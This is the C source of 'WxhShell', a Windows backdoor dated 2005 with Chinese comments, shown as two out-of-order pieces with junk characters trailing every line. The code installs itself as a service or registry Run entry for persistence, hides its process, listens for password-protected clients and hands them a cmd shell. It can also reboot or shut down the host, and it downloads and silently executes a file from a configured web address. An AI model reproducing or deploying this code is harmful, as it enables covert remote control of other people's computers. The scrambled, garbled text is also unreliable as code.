    if(Boot(SHUTDOWN)) V#;6 <H"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H R$\jJ  
    else { V\8vJ3.YV  
    closesocket(wsh); o<f[K}t9  
    ExitThread(0); _@3?yv~ D  
    } C' C'@?]  
    break; SRq0y,d  
    } OM!CP'u#{  
  // 获取shell L^:+8g  
  case 's': { 8fzmCRFH  
    CmdShell(wsh); >Z k$q~'+  
    closesocket(wsh); Km2ppGLNn  
    ExitThread(0); X%7Y\|  
    break; >jjuWO3T  
  } @DYxxM-  
  // 退出 @&;y0N1xo  
  case 'x': { k~WX6rEJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AY['!&T  
    CloseIt(wsh); "(/ 1]EH`  
    break; (,eH*/~/  
    } RG=!,#X  
  // 离开 W/U&w.$  
  case 'q': { V.Pb AN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o0Qy?14T-  
    closesocket(wsh); T$/6qZew  
    WSACleanup(); ~g$Pb[V  
    exit(1); O@ jW&-;  
    break; -[?q?w!?  
        } ,o-BJ 069  
  } H"W%+{AR  
  } $FEG0&  
U@v=q9'W  
  // 提示信息 y?W8FL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d_BO&k<+I  
} rt] @Z`w  
  } [nBlHI;&  
mT\!LpX  
  return; b]hP;QK`U$  
} ~JY<DW7  
zm rQ7(y  
// shell模块句柄 IH?.s k  
int CmdShell(SOCKET sock) F,^Q'$ !  
{ HaI  
STARTUPINFO si; /C29^P  
ZeroMemory(&si,sizeof(si)); IbAGnl{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b@@`2O3"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6R% I)  
PROCESS_INFORMATION ProcessInfo; (NUwkAO M}  
char cmdline[]="cmd"; 'M2Jw8i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u= ( kii=/  
  return 0; RWf4Wh?d  
} +^hFs7je)  
#LEK?]y  
// 自身启动模式 DzX5_ kA  
int StartFromService(void) c,;-[sn  
{ eS9/- Y  
typedef struct 'Syq!=,  
{ rgheq<B:  
  DWORD ExitStatus; RS@*/.]o  
  DWORD PebBaseAddress; U]Q2EL\%  
  DWORD AffinityMask; Px:PoOw\  
  DWORD BasePriority; E7^r3#s  
  ULONG UniqueProcessId; 2F+K(  
  ULONG InheritedFromUniqueProcessId; S!o!NSn@1  
}   PROCESS_BASIC_INFORMATION; :WejY`}H%  
O$+J{@  
PROCNTQSIP NtQueryInformationProcess; {4tJT25  
;Ad$Q9)EE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bJ~]nj 3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /m%Y.:g  
1cWUPVQ  
  HANDLE             hProcess; D 4^2F(YRX  
  PROCESS_BASIC_INFORMATION pbi; 8E1swH5 z  
lil1$K: i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g9I2 e<;o  
  if(NULL == hInst ) return 0; ZZp6@@zyq'  
I$v* SeVHE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 75}BI&t3k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Yd:8i JA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fLl~a[(5  
::N'tcZ^2  
  if (!NtQueryInformationProcess) return 0; 5F$ elW  
\gy39xoW(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GQO}E@W6C  
  if(!hProcess) return 0; .0;Z:x_3  
~=i9]%g ?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~7T]l1]W%  
1i:l  
  CloseHandle(hProcess); Js[dT|>.  
9.f/d4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h\afO  
if(hProcess==NULL) return 0; n8#iL  
HkFoyy  
HMODULE hMod; !Z2?dhS  
char procName[255]; yU3fM?a  
unsigned long cbNeeded; uqPagt<  
S1NM9xHJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vFXih'=_  
p7}x gUxX  
  CloseHandle(hProcess); .p&4]6  
Qp~O!9ph  
if(strstr(procName,"services")) return 1; // 以服务启动 5Og.:4  
Jj}+tQ f  
  return 0; // 注册表启动 w=I8f}(  
} 5O<7<O B  
E\&~S+:Xp  
// 主模块 }6MHIr=o  
int StartWxhshell(LPSTR lpCmdLine) }$r/#F/Fn  
{ }2;~':Mklz  
  SOCKET wsl; fEF1&&8^  
BOOL val=TRUE; B uV@w-|  
  int port=0; x;2tmof=L  
  struct sockaddr_in door; u{maE ,  
4~=/CaG~  
  if(wscfg.ws_autoins) Install(); V9qA.NV2  
,[ &@?  
port=atoi(lpCmdLine); [f,; +Ze  
v<N7o8  
if(port<=0) port=wscfg.ws_port; 8.bIP ju%v  
ZG>I[V'p=  
  WSADATA data; E$dPu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rkh+$*t@i7  
H'Q4IRT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5%j !SVW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LO0<=4iN(  
  door.sin_family = AF_INET; h-<2N)>!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `Et)@{iP  
  door.sin_port = htons(port); { [ QCuR  
?bu-6pkx]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |GJSAs"L@  
closesocket(wsl); VJ;4~WgBz  
return 1; @w|'ip5@  
} dBkw.VO W  
Xc -'&"  
  if(listen(wsl,2) == INVALID_SOCKET) { &OD)e@Tc  
closesocket(wsl); E!w%oTx{OR  
return 1; H@o 3u>}  
} Ha{#  
  Wxhshell(wsl); xG i,\K\:  
  WSACleanup(); ;LM`B^Q]s  
:G\f(2@  
return 0; %_N-~zZ1E  
kKwb)i  
} /iFtW#K+  
8TIc;'bRM  
// 以NT服务方式启动 d[(KgX9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6jT+kq)  
{ aj;OG^(!2_  
DWORD   status = 0; *T0{ yI  
  DWORD   specificError = 0xfffffff; 57*`y'C W  
ib8@U}Vn1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,;9byb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z/yNFY]i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; + >?"P^  
  serviceStatus.dwWin32ExitCode     = 0; gwwYz]'d>r  
  serviceStatus.dwServiceSpecificExitCode = 0; jy#'oadS?  
  serviceStatus.dwCheckPoint       = 0; z)N8#Y~vn  
  serviceStatus.dwWaitHint       = 0; /f2HZfj  
gOaL4tu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H;5FsKIF  
  if (hServiceStatusHandle==0) return; jt5en;AA[  
dHjJLs_  
status = GetLastError(); eCHT) 35u  
  if (status!=NO_ERROR) uzjP!qO  
{ ea!_/Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i|A0G%m]$  
    serviceStatus.dwCheckPoint       = 0; MBZ/Pzl~  
    serviceStatus.dwWaitHint       = 0; CPGiKE  
    serviceStatus.dwWin32ExitCode     = status; 5lehASBz  
    serviceStatus.dwServiceSpecificExitCode = specificError; Fy_D[g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;^VLx)q  
    return; vqDd][n  
  } ";\na!MT  
&0A^_Z .nA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z.EpRJn  
  serviceStatus.dwCheckPoint       = 0; J eCKnt=  
  serviceStatus.dwWaitHint       = 0; .=rS,Tpo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YmXh_bk  
} ^)|8N44O  
`rEu8u  
// 处理NT服务事件,比如:启动、停止 c!n\?lB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^]_[dqd  
{ Te&F2`vo  
switch(fdwControl) stn/  
{ #qqIOjS^w  
case SERVICE_CONTROL_STOP: @T>\pP]o  
  serviceStatus.dwWin32ExitCode = 0; ?86q8E3;&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A"Q6GM2;Io  
  serviceStatus.dwCheckPoint   = 0; LDilrG)  
  serviceStatus.dwWaitHint     = 0; h8#14?  
  { ft$@':F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'a8{YT4  
  } Fo  K!JX*  
  return; >9F&x>~  
case SERVICE_CONTROL_PAUSE: UbDRzum  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;jC}.] _)w  
  break; 4O}ZnE1[  
case SERVICE_CONTROL_CONTINUE: 3^NHV g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BC|=-^(  
  break; [Aqy%mbG  
case SERVICE_CONTROL_INTERROGATE: x93t.5E6  
  break; 6@ B_3y  
}; 7{0;<@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?4p\ujc  
} wB%:RI,  
,T:Uk*Bj  
// 标准应用程序主函数 Q7u/k$qN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i|5.DhK}  
{ -.XICKz  
J@$h'YUF  
// 获取操作系统版本 xLID @9Hbu  
OsIsNt=GetOsVer(); <UI^~Azc#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |]s/NNU  
]Dj,8tf`H  
  // 从命令行安装 :zN{>,sC  
  if(strpbrk(lpCmdLine,"iI")) Install(); XEK%\o}  
T["(wPrt  
  // 下载执行文件 K ?R* )_  
if(wscfg.ws_downexe) { ep|>z#1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6k569c{7  
  WinExec(wscfg.ws_filenam,SW_HIDE); v D"4aw  
} 9 GEMmo3  
@D$^- S6  
if(!OsIsNt) { Tvdg:[V<  
// 如果时win9x,隐藏进程并且设置为注册表启动 D}.Pk>5  
HideProc(); )w3?o#@  
StartWxhshell(lpCmdLine); hn-+]Y:  
} {, +,:w7  
else 6M sVV_/  
  if(StartFromService()) w +pK=R  
  // 以服务方式启动 =EE>QM  
  StartServiceCtrlDispatcher(DispatchTable); R<* c   
else k9]M=eO  
  // 普通方式启动 H[H+s!)"  
  StartWxhshell(lpCmdLine); gzV&S5A{_  
xLZJ[:gr  
return 0; : T` Ni  
} Kyn[4Bu!?  
F@4TD]E0^  
M`_RkDmy<  
Tf0"9  
=========================================== 1a_R8j  
D7v-+jypp  
}bkQr)us  
Ii*tux!S  
1W@ C]n4  
pK_n}QW  
" Q:nBx[%  
0j@nOj(3  
#include <stdio.h> #ZzFAt  
#include <string.h> 2kG(\+\  
#include <windows.h> '+ %<\.$  
#include <winsock2.h> G&2UXr3  
#include <winsvc.h> q$#5>5&  
#include <urlmon.h> }MW7,F  
2=?:(e9  
#pragma comment (lib, "Ws2_32.lib") fv;3cxQp  
#pragma comment (lib, "urlmon.lib") |<:Owd=  
U"SH fI:  
#define MAX_USER   100 // 最大客户端连接数 ,}8|[)"  
#define BUF_SOCK   200 // sock buffer F},#%_4  
#define KEY_BUFF   255 // 输入 buffer Hj\iI p  
. N:& {$o:  
#define REBOOT     0   // 重启  ~OdE!!  
#define SHUTDOWN   1   // 关机 -MA/:EB  
nu=yE$BN{  
#define DEF_PORT   5000 // 监听端口 Nj p?/r  
O1C| { M  
#define REG_LEN     16   // 注册表键长度 2b&&3u8  
#define SVC_LEN     80   // NT服务名长度 9n\b!*x  
u;@~P  
// 从dll定义API &>jSuvVT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M&93TQU-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -a^%9 U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pUp&eH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T6Oah:50EM  
bi01]  
// wxhshell配置信息 #L3heb&9  
struct WSCFG { obRYU|T  
  int ws_port;         // 监听端口 t@_MWF  
  char ws_passstr[REG_LEN]; // 口令 W##~gqZ/  
  int ws_autoins;       // 安装标记, 1=yes 0=no U3oMY{{E J  
  char ws_regname[REG_LEN]; // 注册表键名 )(4.7>  
  char ws_svcname[REG_LEN]; // 服务名 E((U=P}+g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 goJK~d8M*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XA1gV>SJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~4T:v _Q7g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ulA||  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3?n2/p 7=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AlVB hR`  
@N(*1,s2  
}; NQ9/,M  
[9-&Lq_ g  
// default Wxhshell configuration M15jwR!:M  
struct WSCFG wscfg={DEF_PORT, ^9jrI  
    "xuhuanlingzhe", 3RbPc8($Y  
    1, neLQ>WT L  
    "Wxhshell", ^KlW"2:  
    "Wxhshell", NKyKsu  
            "WxhShell Service", "ZHA.M]`  
    "Wrsky Windows CmdShell Service", 8.Z9 i  
    "Please Input Your Password: ", ;z Qrree#  
  1, o@5zf{-  
  "http://www.wrsky.com/wxhshell.exe", j0X Jf<  
  "Wxhshell.exe" u#Z#NP ~F0  
    }; Z<Rhn  
u`ezQvrcy  
// 消息定义模块 o*r 2T4 8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "/#=8_f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -jPrf:3)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t[|aM-F&>  
char *msg_ws_ext="\n\rExit."; 0]~'}  
char *msg_ws_end="\n\rQuit."; 3hD\6,@  
char *msg_ws_boot="\n\rReboot..."; '0jjoZ:  
char *msg_ws_poff="\n\rShutdown..."; Cih~cwE  
char *msg_ws_down="\n\rSave to "; ge[hAI2I  
wf,B/[,d  
char *msg_ws_err="\n\rErr!"; T F[8r[93  
char *msg_ws_ok="\n\rOK!"; R=co2 5  
LBw$K0  
char ExeFile[MAX_PATH]; }w|a^=HAp  
int nUser = 0; DwNEqHi  
HANDLE handles[MAX_USER]; S.! n35  
int OsIsNt; W }"n*  
^U8^P]{R|  
SERVICE_STATUS       serviceStatus; M hwuh`v%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z,f  
wk@S+Q  
// 函数声明 23iMG]J&  
int Install(void); }2!=1|}  
int Uninstall(void); JtbwY@R  
int DownloadFile(char *sURL, SOCKET wsh); <rbzsn"a  
int Boot(int flag); \'>ZU-V  
void HideProc(void); k^i\<@v  
int GetOsVer(void); YqEB%Y~N+  
int Wxhshell(SOCKET wsl); R2Y.s^  
void TalkWithClient(void *cs); -~rZ| W~v  
int CmdShell(SOCKET sock); vMHJgpd&j  
int StartFromService(void); sI OT6L^7  
int StartWxhshell(LPSTR lpCmdLine); X$0&tmum  
[AA*B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i^Ip+J+[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kp=wz0#  
?]]7PEee*  
// 数据结构和表定义 9e _8Z@|  
SERVICE_TABLE_ENTRY DispatchTable[] =  Qk)E:  
{ J+:gIszsWT  
{wscfg.ws_svcname, NTServiceMain}, ?E6 C|A$I  
{NULL, NULL} B*AF8wX|  
}; ] v8.ym  
~2L]K4Z^  
// 自我安装 ZDl6 F`  
int Install(void) p|&9#?t4A  
{ aBblP8)8;K  
  char svExeFile[MAX_PATH]; 7O]$2  
  HKEY key; 0Q)m>oL.  
  strcpy(svExeFile,ExeFile);  IPDQ  
qi]"`\  
// 如果是win9x系统,修改注册表设为自启动 lmbC2\GT  
if(!OsIsNt) { ?}Y;/Lwx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6p)dO c3L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @ |^;d  
  RegCloseKey(key); Ni Y.OwKr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $OP w$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NN"!kuM  
  RegCloseKey(key); k@=w? m  
  return 0; '>U&B}  
    } c>)_I  
  } ?Mj@;O9>'  
} .ZVADVg\  
else { SMMvRF`7  
)ePQN~#K}  
// 如果是NT以上系统,安装为系统服务 lG/h[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d>-k-X-[  
if (schSCManager!=0) KwxO%/-}S  
{ AD0pmD  
  SC_HANDLE schService = CreateService cd3;uB4\,  
  ( |<Rf^"T  
  schSCManager, ]dU/;8/%  
  wscfg.ws_svcname, uk<JV*R=  
  wscfg.ws_svcdisp, _I<LB0kgf.  
  SERVICE_ALL_ACCESS, Ef"M e(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Jr.4Y>;}e3  
  SERVICE_AUTO_START, LR:meCOI  
  SERVICE_ERROR_NORMAL, &Z%|H>+;T  
  svExeFile, o4Hp|iK&0  
  NULL, Uf`~0=w  
  NULL, 4cQ|"sOzD  
  NULL, rI;84=v2&9  
  NULL, fKkH [  
  NULL d'UCPg<Y  
  ); Cj3C%W  
  if (schService!=0) >sl#2,br  
  { .{ -C*  
  CloseServiceHandle(schService); N^@aO&+A  
  CloseServiceHandle(schSCManager); \ QE?.Fx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /{sFrEMP\  
  strcat(svExeFile,wscfg.ws_svcname); n*nsFvt%o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  WgayH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xwe^_7  
  RegCloseKey(key); 01&J7A2  
  return 0; )2dTgvy  
    } #57D10j  
  } 0$1-5XY9  
  CloseServiceHandle(schSCManager); WJs2d73Qp  
} *)0-N!N#)  
} J<27w3bs~p  
|x/00XhS  
return 1; uh 3yiDj@a  
} |4?O4QN  
m0[JiwPI  
// 自我卸载 )zYm]\@  
int Uninstall(void) Pp ~:e}  
{ sUTfY|<7|  
  HKEY key; *-lw2M9V  
Lju)q6  
if(!OsIsNt) { x17K8De  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kq4b`cn{_  
  RegDeleteValue(key,wscfg.ws_regname); @/ G$ C9<  
  RegCloseKey(key); )4CF*>*6V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TD6MP9L  
  RegDeleteValue(key,wscfg.ws_regname); si,W.9rU  
  RegCloseKey(key); 9%6W_ 0>  
  return 0; %5rC`9^  
  }  bMDj+i  
} Xm I63W*  
} Y2 QX9RN  
else { 04}" n  
)D>= \ Me  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9S! 2r  
if (schSCManager!=0) 5 4vDP9  
{ x-Ug(/!^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Kjfpq!NYE  
  if (schService!=0) *fg|HH+i  
  { BE LxaV,  
  if(DeleteService(schService)!=0) { SM1[)jZ-  
  CloseServiceHandle(schService); 9n!IdqKN  
  CloseServiceHandle(schSCManager); S3F8Chk5  
  return 0; pj/w9j G6  
  } ML-?#jNa<  
  CloseServiceHandle(schService); oJ`cefcWo  
  } G}ccf%  
  CloseServiceHandle(schSCManager); j c-$l  
} 8AQ@?\Rc"2  
} =lG/A[66  
{(j1#9+9  
return 1; ,[{Z_co  
} FdFN4{<QZ  
6E0{(*  
// 从指定url下载文件 zilM+BZ8  
int DownloadFile(char *sURL, SOCKET wsh) Qk h}=3u  
{ gK+/wTQ%  
  HRESULT hr; BMxe)izT;  
char seps[]= "/"; H){lXR/#u  
char *token; +x_9IvaW&?  
char *file; *p=a-s5-  
char myURL[MAX_PATH]; 2Pz)vnV"  
char myFILE[MAX_PATH]; NU{`eM  
"o6a{KY(  
strcpy(myURL,sURL); ux=0N]lc  
  token=strtok(myURL,seps); A$;"9F@  
  while(token!=NULL) %IhUQ6  
  { *!- J"h  
    file=token; }<KQ +  
  token=strtok(NULL,seps); F* h\#?  
  } 9?L,DThQ  
9Atnnx]n  
GetCurrentDirectory(MAX_PATH,myFILE); NR|t~C+  
strcat(myFILE, "\\"); O=2SDuBZ  
strcat(myFILE, file); sBV})8]K M  
  send(wsh,myFILE,strlen(myFILE),0); J rgpDZ  
send(wsh,"...",3,0); @24)*d^1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9zs!rlzQ  
  if(hr==S_OK) RhQ[hI  
return 0; 3X#)PX9b){  
else 3wf&,4`EX  
return 1; y L|'K}  
<-rw>,  
} #yi&-9B  
G Rq0nhJ  
// 系统电源模块 5*P+c(=  
int Boot(int flag) w_hN2eYo&e  
{ 6<>T{2b:(p  
  HANDLE hToken; IwJ4K+  
  TOKEN_PRIVILEGES tkp; y3{ F\K  
x!R pRq9  
  if(OsIsNt) {  SE;Yb'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I?Fv!5p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yG..B  
    tkp.PrivilegeCount = 1; d]!`II  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5?M d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^p}|""\j  
if(flag==REBOOT) { SoPiEq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'j27.Ry.  
  return 0; 2(5<Wj"  
} LzE$z,  
else { fq,LXQ#G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `%oJa`  
  return 0; 2n|]&D3V"'  
} ~+OAAkJ9  
  } G>f2E49BXt  
  else {  tQSJ"Q  
if(flag==REBOOT) { >u R0 Xs;V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eemw I  
  return 0; D_2~ 6  
} R m^$Dn  
else { 5@&{%99  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JT(6Uf  
  return 0; !wNj;ST*  
} 'wm :Xa  
} M`u&-6  
\!Cc[n(f#  
return 1; !eE;MaS>  
} ?vn9HhTD  
"Di8MMGOY  
// win9x进程隐藏模块 fqp!^-!X  
void HideProc(void) %ok??_}$}q  
{ i$ CN{c*  
7>,(QHl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o.|P7{v}  
  if ( hKernel != NULL ) uzgQ_  
  { %TUvH>;0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M|DVFC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;FfDi*S7  
    FreeLibrary(hKernel); l+HF+v$  
  } Z\. n6  
_`-trE.  
return; Md[M}d8  
} jqv"8S5  
MFzJ 8^.1R  
// 获取操作系统版本 b;k3B7<  
int GetOsVer(void) R.'-jvO  
{ :plN<8  
  OSVERSIONINFO winfo; 4Fs5@@>X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RM|2PG1m  
  GetVersionEx(&winfo); 2uZ4$_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R q |,@  
  return 1; {Uj-x -  
  else )F,IPAA#  
  return 0; L5j%4BlK/  
} p()#+Xy  
AS? ESDC  
// 客户端句柄模块 'JK"3m}nT  
int Wxhshell(SOCKET wsl) ]9]o*{_+(f  
{  oo4aw1d  
  SOCKET wsh; dgp1B\  
  struct sockaddr_in client; 3[F9qDAy  
  DWORD myID; [@;q#.}Z  
,*MA teD  
  while(nUser<MAX_USER) #ExNiFZ  
{ xP+`scv*m#  
  int nSize=sizeof(client); *l{GD1ZDk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4}xw&x  
  if(wsh==INVALID_SOCKET) return 1; 2&o jQhe  
I6-.;)McO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v1O1-aM  
if(handles[nUser]==0) >K;DBy*  
  closesocket(wsh); =IH~:D\&  
else dn1Fwy.  
  nUser++; ?%A9}"q]  
  } :tf'Gw6v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6m$lK%P{1  
hH(w O\s  
  return 0; Nbvs_>N   
} |w].*c}Z  
HE|XDcYO  
// 关闭 socket uEui{_2$  
void CloseIt(SOCKET wsh) {$xt.<  
{ NXHe;G  
closesocket(wsh); M~ eXC  
nUser--; Em ;2fh  
ExitThread(0); )eD9H*mq  
} i9koh3R\  
C116 c"  
// 客户端请求句柄 j@u]( nf  
void TalkWithClient(void *cs) Ek6z[G` O  
{ z;Jz^m-  
9y+0Zj+.  
  SOCKET wsh=(SOCKET)cs; G nPrwDB  
  char pwd[SVC_LEN]; "K c/Cs2[  
  char cmd[KEY_BUFF]; 3ZUME\U  
char chr[1]; q,m+W='  
int i,j; v8l3{qq  
cXod43  
  while (nUser < MAX_USER) { \)`OEGdOR\  
E< Y!BT[X  
if(wscfg.ws_passstr) { 8vqx}2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vdIert?p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bw/8-:eb  
  //ZeroMemory(pwd,KEY_BUFF); :Xi&H.k)p  
      i=0; g^: & Dh  
  while(i<SVC_LEN) { u*=8s5Q[  
 <BiSx  
  // 设置超时 V| &->9"  
  fd_set FdRead; A9_} RJ9  
  struct timeval TimeOut; !9t,#?!  
  FD_ZERO(&FdRead); `n?Rxhkwp  
  FD_SET(wsh,&FdRead); dt||nF  
  TimeOut.tv_sec=8; hN^,'O  
  TimeOut.tv_usec=0; .]w=+~h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [9^lAhX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ("KtJ  
lG5KZ[/Or  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '\M]$`Et  
  pwd=chr[0]; 8+@j %l j  
  if(chr[0]==0xd || chr[0]==0xa) { hQ ?zc_ 3  
  pwd=0; 6,cJ3~!48  
  break; cDIZkni=  
  } p1N3AhXY  
  i++; UQ#t &  
    } GIZw/L7Yb  
VVJIJ9L&C  
  // 如果是非法用户,关闭 socket 9? y&/D5O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *3\*GatJ  
} FrC)2wX  
P W_"JZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4<V}A j8l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T5Iz{Ha  
t0_4jV t  
while(1) { $p|Im,  
^Na3VP  
  ZeroMemory(cmd,KEY_BUFF); M}e}3w  
A<_{7F9  
      // 自动支持客户端 telnet标准   <?>tjCg'  
  j=0; o~7D=d?R  
  while(j<KEY_BUFF) { H<") )EJI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v{SZ(;  
  cmd[j]=chr[0]; uJ`:@Z^J  
  if(chr[0]==0xa || chr[0]==0xd) { xLSf /8e  
  cmd[j]=0; rf+Z0C0WYi  
  break; hdeI/4 B  
  } `ZU]eAV  
  j++; 9ZNzC i!  
    } hof>:Rk  
~)pso7^:  
  // 下载文件 [,3E#+y  
  if(strstr(cmd,"http://")) { q|V|Jl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {)(Mkm +d  
  if(DownloadFile(cmd,wsh)) lAR1gHhJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kr?<7vMT5  
  else ~BiLzT1,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gz52^O :  
  } ,FwpHs $A  
  else { (8baa.ge  
EU7nS3K)O~  
